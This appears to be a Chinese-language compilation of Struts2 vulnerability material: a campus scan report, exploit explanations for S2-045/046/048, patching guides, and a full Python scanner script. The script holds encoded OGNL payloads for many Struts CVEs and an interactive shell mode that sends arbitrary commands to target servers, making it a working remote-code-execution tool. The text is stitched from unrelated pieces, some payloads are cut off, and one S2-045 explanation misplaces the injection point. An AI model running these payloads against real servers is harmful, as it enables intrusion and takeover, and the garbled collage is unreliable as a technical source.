Struts S2-045 漏洞调试及分析
Struts2漏洞测试书面报告

Struts2漏洞测试书⾯报告Struts2 漏洞测试报告信息化建设处2016年6⽉15⽇Struts2 漏洞测试报告0.前期⼯作准备前期的⼯作主要围绕以下⼏个⽅⾯进⾏:分析从2014年以来Struts2官⽅所披露的⼏个⾼危/重要漏洞的版本号、形成的原因、影响的范围以及修复的建议。
了解乌云知识库⾥对相关漏洞原理的分析对学校218和216⽹段的所有开启“Apache Tomcat/Coyote JSP”服务的IP进⾏扫描,并根据服务器所属的业务,对⽬标IP进⾏分类处理。
0.1Struts2重要漏洞的类型纵观2014年以来Struts2官⽅所披露的各种漏洞,归纳起来,主要有3种类型:“classLoader导致特定环境下的DOS漏洞”、“开启DMI导致的远程代码执⾏漏洞”和“使⽤REST插件导致的远程代码执⾏漏洞”。
本次测试根据此3种类型,选取具有代表性的⼏个重要漏洞进⾏分析。
S2-037[1]:2016年6⽉16⽇,乌云漏洞报告平台,报告了⼀份最新的S2-037漏洞(官⽅⽹站仍未正式更新)。
主要原因是使⽤REST插件导致的远程代码执⾏漏洞,受影响的版本号为2.3.20-2.3.28.1。
S2-032[2]:2016年4⽉21⽇Struts2官⽅发布S2-032漏洞,评级为⾼。
主要原因是在开启动态⽅法调⽤(Dynamic Method Invocation,DMI)的情况下,会被攻击者实现远程代码执⾏攻击,受影响的版本号为2.3.18-2.3.28 ( 2.3.20.2和2.3.24.2除外)。
S2-021/S2-020[3][4]:2014年左右频繁爆发的漏洞类型主要是“classLoader导致特定环境下的DOS漏洞”,受影响的版本号为2.0.0 - 2.3.16.1。
0.2Nmap扫描结果与分类在分析测试之前,由于没有218和216段服务器的相关资料,为了避免盲⽬地进⾏测试,因此,选⽤nmap⼯具,对218和216段(⼀共512个IP)进⾏扫描,从⽽得到所有开启“Apache Tomcat/Coyote JSP”服务的IP地址。
s2-045原理

s2-045原理
S2-045是Apache Struts 2框架中的一个安全漏洞,其原理是通过在URL请求中注入恶意代码,导致远程代码执行漏洞。
具体的原理包括以下几个步骤:
1. 用户发送一个恶意构造的URL请求,其中包含恶意代码。
2. 当Struts 2框架处理该请求时,会将URL参数解析为Struts 的Action参数,并进行相应的处理。
3. 在解析Action参数过程中发现一个特殊的注入点Ognl表达式(使用%{…}表示),Struts会将该表达式放入OGNL引擎中进行解析。
4. 恶意构造的表达式被解析后,可以调用Java的反射机制,实现任意代码执行。
5. 攻击者可以通过恶意代码执行各种操作,如执行系统命令、访问敏感数据等。
由于Struts 2框架在处理URL请求时没有对Action参数进行充分的验证和过滤,导致攻击者可以通过注入恶意代码实现远程代码执行,进而攻击服务器。
因此,S2-045被认为是一种严重的安全漏洞,需要及时修复和升级相关版本的Struts 2框架。
基于Struts(S2-048)漏洞的复现与分析

基于Struts(S2-048)漏洞的复现与分析作者:缪卓洁罗海波邹炜成洪家豪来源:《科学导报·学术》2019年第49期摘 ;要:文章介绍了 Struts 2.3.x 系列中 Struts2 -048 号漏洞的背景、漏洞影响、对于漏洞的分析和漏洞复现的操作示例。
为了了解在漏洞暴露而且被利用时对于企业利益的严重危害,本文通过在 Struts 2.3.x 系列其中的 Struts 2.3.32 的 showcase 应用中演示对 Struts2 整合 Struts1 的插件中存在一处任意代码执行漏洞的攻击行为并且从 Struts(Struts2-048)远程命令执行漏洞还原的过程中,分析出漏洞产生原因是由于启用了插件 struts2-struts1-plugin 而且在其插件内部(struts2-struts1-plugin-2.3.x.jar)中的代码存在不受信任的输入并传入到 ActionMessage 类中导致恶意命令执行的过程。
在漏洞问题下罗列出现有的解决方案,并简述其补救措施和其他相关技术概念。
从而表明了该漏洞的危害性和需尽快修复的紧急程度。
关键词:Struts2漏洞;Struts2;S2-048;OGNL;Webwork1 ;原理技术概要1.1 Webwork它是Struts系列的前身,来源于一个开源组织 opensymphony,且是从Xwork项目的基础上发展而来,Webwork简洁且功能强大,完全从web层脱离,它提供了包括前端拦截、表单属性验证、类型转换以及强大的表达式语言OGNL等核心功能。
Webwork在处理http请求和响应时使用Servlet Dispatcher将http请求转化为业务层、会话层和应用层范围的映射,请求参数映射为Webwork2支持的多视图表示,视图部分可以使用JSP、Velocity、Free Marker、Jasper Repots、XML等。
Strus2漏洞检查工具+Fiddler捉包工具=批量检查系统Struts漏洞问题

Strus2漏洞检查⼯具+Fiddler捉包⼯具=批量检查系统Struts漏洞问题第⼀种⽅法:使⽤⼯具第⼀步、安装Fiddler抓包⼯具,抓取系统的请求地址,并将其全部的请求地址导⼊到.txt⽂件中。
1.⾃定义请求规则,如图点击规则--》⾃定义规则,进⼊名称为CustomRules.js的记事本2.Ctrl+F搜索OnBeforeRequest函数,并找到3.设置条件:域名+请求地址后缀+地址保存的路径4.设置请求地址的过滤器,⽐如设置后缀,将URl包含有.do的requestURl显⽰出来,并⾃动保存进如上的 D盘的requestURL.txt⽂件中第⼆步、安装Struts2漏洞检查⼯具⽅法⼀、单个地址进⾏验证Struts漏洞⽅法⼆、批量进⾏验证Struts漏洞,1、点击【批量验证】菜单 --2、导⼊URL(Fiddler抓取的全部请求URL)--3、点击【开始】按钮第⼆种⽅法:使⽤python3编写的代码进⾏监测如下图所⽰:源代码如下:我copy的是python2格式的代码,需要进⾏加⼯⼀下以适应python3#!/usr/bin/env python# coding=utf-8# code by Lucifer# Date 2017/10/12import sysimport base64import warningsimport requestsfrom termcolor import cprintimport importlibimportlib.reload(sys)warnings.filterwarnings("ignore")headers = {"Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*","User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Content-Type":"application/x-www-form-urlencoded"}headers2 = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*","Content-Type":"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlU }headers3 = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*","Content-Type":"%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlU }headers_052 = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Content-Type":"application/xml"}class struts_baseverify:def__init__(self, url):self.url = urlself.poc = {"ST2-005":base64.b64decode("KCdcNDNfbWVtYmVyQWNjZXNzLmFsbG93U3RhdGljTWV0aG9kQWNjZXNzJykoYSk9dHJ1ZSYoYikoKCdcNDNjb250ZXh0W1wneHdvcmsuTWV0aG9kQWNjZXNzb3IuZGVueU1ldGhvZEV4ZWN1dGlvb "ST2-009":'''class.classLoader.jarPath=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3d+new+ng.Boolean%28false%29%2c+%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c+%23a%3d%40 "ST2-013":base64.b64decode("YT0xJHsoJTIzX21lbWJlckFjY2Vzc1siYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MiXT10cnVlLCUyM2E9QGphdmEubGFuZy5SdW50aW1lQGdldFJ1bnRpbWUoKS5leGVjKCduZXRzdGF0IC1hbicpLmdldEl "ST2-016":base64.b64decode("cmVkaXJlY3Q6JHslMjNyZXElM2QlMjNjb250ZXh0LmdldCglMjdjbyUyNyUyYiUyN20ub3BlbiUyNyUyYiUyN3N5bXBob255Lnh3byUyNyUyYiUyN3JrMi5kaXNwJTI3JTJiJTI3YXRjaGVyLkh0dHBTZXIlMjclMm "ST2-019":base64.b64decode("ZGVidWc9Y29tbWFuZCZleHByZXNzaW9uPSNmPSNfbWVtYmVyQWNjZXNzLmdldENsYXNzKCkuZ2V0RGVjbGFyZWRGaWVsZCgnYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MnKSwjZi5zZXRBY2Nlc3 "ST2-devmode":'''?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@mons.io.IOUtils@ "ST2-032":'''?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encodin "ST2-033":'''/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@mons.io.IOUtils@toString(@ng.Runtime@getRuntime().exec(%mand[0 "ST2-037":'''/(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@mons.io.IOUtils@toString(@java "ST2-045":"","ST2-052":'''<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.e }self.shell = {"struts2-005":base64.b64decode("KCdcNDNfbWVtYmVyQWNjZXNzLmFsbG93U3RhdGljTWV0aG9kQWNjZXNzJykoYSk9dHJ1ZSYoYikoKCdcNDNjb250ZXh0W1wneHdvcmsuTWV0aG9kQWNjZXNzb3IuZGVueU1ldGhvZEV4ZWN1dG "struts2-009":'''class.classLoader.jarPath=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3d+new+ng.Boolean%28false%29%2c+%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c+%23a%3d% "struts2-013":base64.b64decode("YT0xJHsoJTIzX21lbWJlckFjY2Vzc1siYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MiXT10cnVlLCUyM2E9QGphdmEubGFuZy5SdW50aW1lQGdldFJ1bnRpbWUoKS5leGVjKCdGVVpaSU5HQ09NTUFORC "struts2-016":base64.b64decode("cmVkaXJlY3Q6JHslMjNyZXElM2QlMjNjb250ZXh0LmdldCglMjdjbyUyNyUyYiUyN20ub3BlbiUyNyUyYiUyN3N5bXBob255Lnh3byUyNyUyYiUyN3JrMi5kaXNwJTI3JTJiJTI3YXRjaGVyLkh0dHBTZXIlMjclM "struts2-019":base64.b64decode("ZGVidWc9Y29tbWFuZCZleHByZXNzaW9uPSNmPSNfbWVtYmVyQWNjZXNzLmdldENsYXNzKCkuZ2V0RGVjbGFyZWRGaWVsZCgnYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MnKSwjZi5zZXRBY2Nl "struts2-devmode":'''?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@mons.io.IOUt "struts2-032":'''?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.enco "struts2-033":'''/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@mons.io.IOUtils@toString(@ng.Runtime@getRuntime().exec(%man "struts2-037":'''/(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@mons.io.IOUtils@toString(@ja "struts2-045":"",}def check(self, pocname, vulnstr):if vulnstr.find("Active Internet connections") is not -1:cprint("⽬标存在" + pocname + "漏洞..[Linux]", "red")elif vulnstr.find("Active Connections") is not -1:cprint("⽬标存在" + pocname + "漏洞..[Windows]", "red")elif vulnstr.find("活动连接") is not -1:cprint("⽬标存在" + pocname + "漏洞..[Windows]", "red")elif vulnstr.find("LISTEN") is not -1:cprint("⽬标存在" + pocname + "漏洞..[未知OS]", "red")else:cprint("⽬标不存在" + pocname +"漏洞..", "green")def scan(self):cprint('''____ _ _ ____/ ___|| |_ _ __ _ _| |_ ___ / ___| ___ __ _ _ __\___ \| __| '__| | | | __/ __|____\___ \ / __/ _` | '_ \___) | |_| | | |_| | |_\__ \_____|__) | (_| (_| | | | ||____/ \__|_| \__,_|\__|___/ |____/ \___\__,_|_| |_|Code by Lucifer.''', 'cyan')cprint("-------检测struts2漏洞--------\n⽬标url:"+self.url, "cyan")try:req = requests.post(self.url, headers=headers, data=self.poc['ST2-005'], timeout=6, verify=False)self.check("struts2-005", req.text)except:cprint("检测struts2-005超时..", "cyan")try:req = requests.post(self.url, headers=headers, data=self.poc['ST2-009'], timeout=6, verify=False)self.check("struts2-009", req.text)except:cprint("检测struts2-009超时..", "cyan")try:req = requests.post(self.url, headers=headers, data=self.poc['ST2-013'], timeout=6, verify=False)self.check("struts2-013", req.text)except:cprint("检测struts2-013超时..", "cyan")try:req = requests.post(self.url, headers=headers, data=self.poc['ST2-016'], timeout=6, verify=False)self.check("struts2-016", req.text)except:cprint("检测struts2-016超时..", "cyan")try:req = requests.post(self.url, headers=headers, data=self.poc['ST2-019'], timeout=6, verify=False)self.check("struts2-019", req.text)except:cprint("检测struts2-019超时..", "cyan")try:req = requests.get(self.url+self.poc['ST2-devmode'], headers=headers, timeout=6, verify=False)self.check("struts2-devmode", req.text)except:cprint("检测struts2-devmode超时..", "cyan")try:req = requests.get(self.url+self.poc['ST2-032'], headers=headers, timeout=6, verify=False)self.check("struts2-032", req.text)except:cprint("检测struts2-032超时..", "cyan")try:req = requests.get(self.url+self.poc['ST2-033'], headers=headers, timeout=6, verify=False)self.check("struts2-033", req.text)except:cprint("检测struts2-033超时..", "cyan")try:req = requests.get(self.url+self.poc['ST2-037'], headers=headers, timeout=6, verify=False)self.check("struts2-037", req.text)except:cprint("检测struts2-037超时..", "cyan")try:req = requests.get(self.url, headers=headers2, timeout=6, verify=False)self.check("struts2-045", req.text)except:cprint("检测struts2-045超时..", "cyan")try:req = requests.post(self.url, data="", headers=headers3, timeout=6, verify=False)self.check("struts2-048", req.text)except:cprint("检测struts2-048超时..", "cyan")try:req1 = requests.get(self.url+"?class[%27classLoader%27][%27jarPath%27]=1", headers=headers, timeout=6, verify=False) req2 = requests.get(self.url+"?class[%27classLoader%27][%27resources%27]=1", headers=headers, timeout=6, verify=False) if req1.status_code == 200 and req2.status_code == 404:cprint("⽬标存在struts2-020漏洞..(只提供检测)", "red")else:cprint("⽬标不存在struts2-020漏洞..", "green")except:cprint("检测struts2-020超时..", "cyan")try:req = requests.post(self.url, data=self.poc['ST2-052'], headers=headers_052, timeout=6, verify=False) if req.status_code == 500 and r"java.security.Provider$Service"in req.text:cprint("⽬标存在struts2-052漏洞..(需使⽤其他⽅式利⽤)", "red")else:cprint("⽬标不存在struts2-052漏洞..", "green")except:cprint("检测struts2-052超时..", "cyan")def inShell(self, pocname):cprint('''____ _ _ ____/ ___|| |_ _ __ _ _| |_ ___ / ___| ___ __ _ _ __\___ \| __| '__| | | | __/ __|____\___ \ / __/ _` | '_ \___) | |_| | | |_| | |_\__ \_____|__) | (_| (_| | | | ||____/ \__|_| \__,_|\__|___/ |____/ \___\__,_|_| |_|Code by Lucifer.''', 'cyan')cprint("-------struts2 交互式shell--------\n⽬标url:"+self.url, "cyan")prompt = "shell >>"if pocname == "struts2-005":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.urlreq = requests.post(commurl, data=self.shell['struts2-005'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=6, verify=False) print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-009":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.urlreq = requests.post(commurl, data=self.shell['struts2-009'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=6, verify=False) print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-013":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.urlreq = requests.post(commurl, data=self.shell['struts2-013'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=6, verify=False) print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-016":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.urlreq = requests.post(commurl, data=self.shell['struts2-016'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=6, verify=False) print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-019":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.urlreq = requests.post(commurl, data=self.shell['struts2-019'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=6, verify=False) print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-devmode":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.url+self.shell['struts2-devmode'].replace("FUZZINGCOMMAND", command)req = requests.get(commurl, headers=headers, timeout=6, verify=False)print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-032":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.url+self.shell['struts2-032'].replace("FUZZINGCOMMAND", command)req = requests.get(commurl, headers=headers, timeout=6, verify=False)print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-033":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.url+self.shell['struts2-033'].replace("FUZZINGCOMMAND", command)req = requests.get(commurl, headers=headers, timeout=6, verify=False)print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-037":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.url+self.shell['struts2-037'].replace("FUZZINGCOMMAND", command)req = requests.get(commurl, headers=headers, timeout=6, verify=False)print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-045":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":headers_exp = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*","Content-Type":"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.conta }try:req = requests.get(self.url, headers=headers_exp, timeout=6, verify=False)print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-048":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":headers_exp = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*","Content-Type":"%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.conta }try:req = requests.post(self.url, data="", headers=headers_exp, timeout=6, verify=False)print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if__name__ == "__main__":try:if sys.argv[1] == "-f":with open(sys.argv[2]) as f:for line in f.readlines():line = line.strip()strutsVuln = struts_baseverify(line)strutsVuln.scan()elif sys.argv[1] == "-u"and sys.argv[3] == "-i":strutsVuln = struts_baseverify(sys.argv[2].strip())strutsVuln.inShell(sys.argv[4].strip())else:strutsVuln = struts_baseverify(sys.argv[1].strip())strutsVuln.scan()except Exception as e:figlet = '''____ _ _ ____/ ___|| |_ _ __ _ _| |_ ___ / ___| ___ __ _ _ __\___ \| __| '__| | | | __/ __|____\___ \ / __/ _` | '_ \___) | |_| | | |_| | |_\__ \_____|__) | (_| (_| | | | ||____/ \__|_| \__,_|\__|___/ |____/ \___\__,_|_| |_|Code by Lucifer.'''cprint(figlet,'cyan')print("Usage: python struts-scan.py /index.action 检测")print(" python struts-scan.py -u /index.action -i struts2-045 进⼊指定漏洞交互式shell")print(" python struts-scan.py -f url.txt 批量检测")拓展:Fiddler的⼯作原理Fiddler截获客户端浏览器发送给服务器的https请求的时候,此时还未建⽴连接(握⼿)。
Struts2系列漏洞起始篇

Struts2系列漏洞起始篇前⾔到⽬前位置struts2的漏洞编号已经到了S2-057,⼀直想系统的学习下Struts2的漏洞,但由于⼯作量较⼤,⼀直搁浅。
最近由于⼯作需要,借此机会来填下坑。
个⼈认为⼀个框架漏洞出来了仅仅看下别⼈分析的⽂章是远远不够,因为这些⽂章往往都只针对个别漏洞,可能框架中还存在类似的漏洞你依然发现不了。
所以我说需要系统的学习下,从框架的源码开始分析它的⼯作流程(当然这⾥我会有所取舍,全部都讲没意义),同时这样也会加深⾃⼰对该框架的理解,之后如果⼀个新的漏洞出来了,你可以仅根据官⽅的公告或变动的代码很简单地还原整个漏洞,同时这样做对代码审计也会有⼀定的帮助。
这是我struts2系列⽂章的第⼀篇,篇幅会⽐较长(实际上分析源码的地⽅我已经省了很多)。
之后我还会写spring、tomcat等系列的漏洞分析⽂章。
准备⼯作我使⽤的是eclipse+struts-core2.1.6,struts2的各版本是由些许区别的,但是⼤致流程都是相同的,这⾥采⽤较⽼的版本是因为S2早期的漏洞都可以在⾥⾯找到,⽅便分析。
Struts2的⼯作流程在原⽣的jsp+servlet项⽬中,常⽤会到Filter过滤器来过滤⼀些参数等等,这⾥struts2就是将⾃⼰的核⼼过滤器配置在web.xml中,这样可以让指定的HTTP请求都经过Struts2。
早期struts2的核⼼过滤器是FilterDispathcer (org.apache.struts2.dispatcher.FilterDispatcher),但是struts2>=2.1.3之后就变为了StrutsPrepareAndExecuteFilter,⽽StrutsPrepareAndExecuteFilter在配置的时候也经常会分开为StrutsPrepareFilter和StrutsExecuteFilter,这是⽅便开发者更加灵活的使⽤,配置信息如下:Filter的执⾏顺序是然配置顺序来的,所以这⾥我们先从StrutsPrepareFilter开始分析。
Struts2远程代码执行漏洞(S2-046)漏洞复现

Struts2远程代码执行漏洞(S2-046)漏洞复现漏洞复现继 3 月 7 日爆发的 S2-045 远程命令执行漏洞风波之后,今日 Struts2 官方发布另一个高危漏洞S2-046,CVE 编号依然是CVE-2017-5638,据官方披露,最新的漏洞与 S2-045 类似,只是攻击字段发生变化。
修复方案依然与S2-045 相同,升级至2.3.32 或者2.5.10.1 版本即可防御针对这两个漏洞攻击。
S2-046Struts2 是一个基于MVC 设计模式的Web 应用框架,它本质上相当于一个 servlet,在MVC 设计模式中,Struts2 作为控制器(Controller) 来建立模型与视图的数据交互。
Struts2 的使用范围及其广泛,国内外均有大量厂商使用该框架。
漏洞描述:据漏洞提交者纰漏,S2-046 的利用条件有以下三个方面:1、系统必须使用Jakarta 插件,检查Struts2 配置文件中是否有以下配置:<constant name =“struts.multipart.parser”value =“jakarta-stream”/>2、上传文件的大小(由Content-LSength 头指定)大于Struts2 允许的最大大小(2GB)3、文件名内容构造恶意的 OGNL 内容。
如果满足以上要求,Struts2 受影响版本将创建一个包含攻击者控制的异常文件名,使用 OGNL 值堆栈来定位错误消息,OGNL 值堆栈将插入任何 OGNL 变量($ {}或%{})作为 OGNL 表达式,然后实现任意代码执行。
目前网络上已披露出针对 S2-046 的 POC漏洞复现:我们在本地搭建环境进行测试:查看 Struts2 的配置文件,发现存在<constant name =“struts.multipart.parser”value =“jakarta-stream”/>Struts2 的配置文件下面进行网站上传测试,构造数据包如下,设定Content-LSength 值大于 2GB,并构造恶意文件名,如下图所示:构造数据包通过响应数据包可看到恶意代码成功执行,攻击成功,如下图所示:代码成功执行。
Struts2漏洞修复总结

Struts2漏洞修复总结Struts2的S2-016漏洞是之前⽐较重⼤的漏洞,也是⼀些⽼系统的历史遗留问题此漏洞影响struts2.0-struts2.3的所有版本,可直接导致服务器被远程控制从⽽引起数据泄漏,影响巨⼤漏洞修复总结有4种⽅式:1、升级版本这也是Apache官⽅给出的建议,把Struts2的版本升级到2.3.15以上的版本,这种⽅式只需要替换⼀些jar包,归纳如下:commons-lang3-3.2.jarfreemarker-2.3.22.jarjavassist-3.11.0.GA.jarognl-3.0.6.jarstruts2-core-2.3.24.jarstruts2-spring-plugin-2.3.24.jarxwork-core-2.3.24.jar只需要⽤上述jar包(版本可能会有差距)替换⽼系统中的旧版本jar包;但是这种⽅式存在⼀定的缺陷,如果系统⾮常复杂,可能会有版本不兼容,jar版本冲突,导致系统功能不能使⽤的情况;2、覆盖JAR包下载上述图⽚,把后缀名改为zip,把⾥⾯解压出来的三个⽂件夹添加到漏洞的系统的src⽬录下然后再web.xml⽂件中添加代码:<listener><listener-class>monweb.listener.MyServletContextListener</listener-class></listener>最后发布项⽬,重启服务器3、修改Struts2的源码找到项⽬中的struts2-core-2.2.3.jar,反编译得到源码,在eclipse中新建⼀个java项⽬,把反编译的源码导进去修改org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java这个⽂件中的handleSpecialParameters⽅法在while循环(for循环)中加⼊下⾯代码:1if (key.endsWith(".x") || key.endsWith(".y")) {2 key = key.substring(0, key.length() - 2);3 }保存,这个新项⽬可能会有错误,需要导⼊两个jar包,xwork-core-2.1.6.jar和servlet-api.jar把这个新项⽬导出成jar包,把下图中的7个类,替换掉原先struts2-core-2.2.3.jar中的7个类4、结合上⾯的第2和第3种⽅式还是需要⽤到struts2的源码,同第3步,反编译得到源码,导⼊到⼀个新的项⽬中下载第2步中的压缩包,解压之后得到三个⽂件,把这三个⽂件夹添加到新项⽬的 org\apache\struts2\dispatcher\mapper包中,如下图然后,再修改org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java这个⽂件中的handleSpecialParameters⽅法在while循环中加⼊如下代码:1if (JavaEEbugRepair.repair_s2_017(key)) {2return;3 }4if ((key.contains("action:")) || (key.contains("redirect:")) || (key.contains("redirectAction:"))) {5return;6 }保存,把新项⽬导出成jar包把原来jar中的7个类替换,加⼊新包repair,再把替换之后的jar复制到项⽬中,替换之前的jar包总结:以上4种⽅式基本能处理所有项⽬的S2-016漏洞;。
struts2漏洞解决方案

struts2漏洞解决方案对于Struts2漏洞的修复和预防是非常重要的,因为它可能导致严重的安全问题和系统遭受攻击。
在本文中,我们将介绍一些可行的解决方案和建议,以帮助您防范和修复Struts2漏洞。
1. 及时更新Struts2框架版本Struts2团队经常发布新版本来修复安全漏洞和其他bug。
您应该始终关注Struts2的官方网站,了解最新版本的发布情况,并尽快将您的应用程序升级到最新版本。
新版本通常会修复旧版本中存在的已知漏洞,并提供更好的安全性和稳定性。
2. 安全配置在您的Struts2应用程序中,您可以配置一些安全设置来增加系统的安全性。
例如,可以禁用用于开发和调试的Struts2调试模式,禁用动态方法调用,并且仅允许受信任的主机进行访问。
这些配置可以减少潜在的攻击面并增强您的应用程序的安全性。
3. 过滤用户输入用户输入是导致Struts2漏洞的常见来源之一。
为了避免潜在的安全问题,您应该始终对用户的输入数据进行有效的过滤和验证。
使用适当的输入验证和过滤技术,如正则表达式、白名单和黑名单等,可以防止常见的漏洞攻击,如SQL注入和跨站脚本攻击。
4. 使用安全框架或插件除了Struts2框架本身的安全性措施外,您还可以考虑使用安全框架或插件来增强您的应用程序的安全性。
例如,Apache Shiro是一个强大而灵活的安全框架,可以与Struts2无缝集成,并提供更高级的安全功能,如认证、授权和会话管理等。
5. 日志和监控为了及时发现和应对潜在的Struts2漏洞攻击,您应该启用详细的日志记录和监控机制。
定期审查日志记录,以便及早识别异常活动和攻击尝试。
同时,您还可以使用安全监控工具来实时监视您的应用程序,以便及时发现和应对任何安全威胁。
总结:通过及时更新Struts2框架版本、配置安全设置、过滤用户输入、使用安全框架或插件以及启用日志和监控机制,您可以有效地解决和预防Struts2漏洞。
在保障应用程序的安全性方面,持续的关注和努力非常重要。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
Struts S2-045漏洞调试及分析
Auth:Cryin’
Date:2016.3.9
漏洞公告
首先看官方给出的漏洞公告信息:
“Possible Remote Code Execution when performing file upload based on Jakarta Multipart parser.”
问题原因:
“It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.”
从公告信息可以得到几个漏洞的重点信息:
●存在漏洞的模块是Jakarta
●漏洞产生的点是恶意的Content-Type头
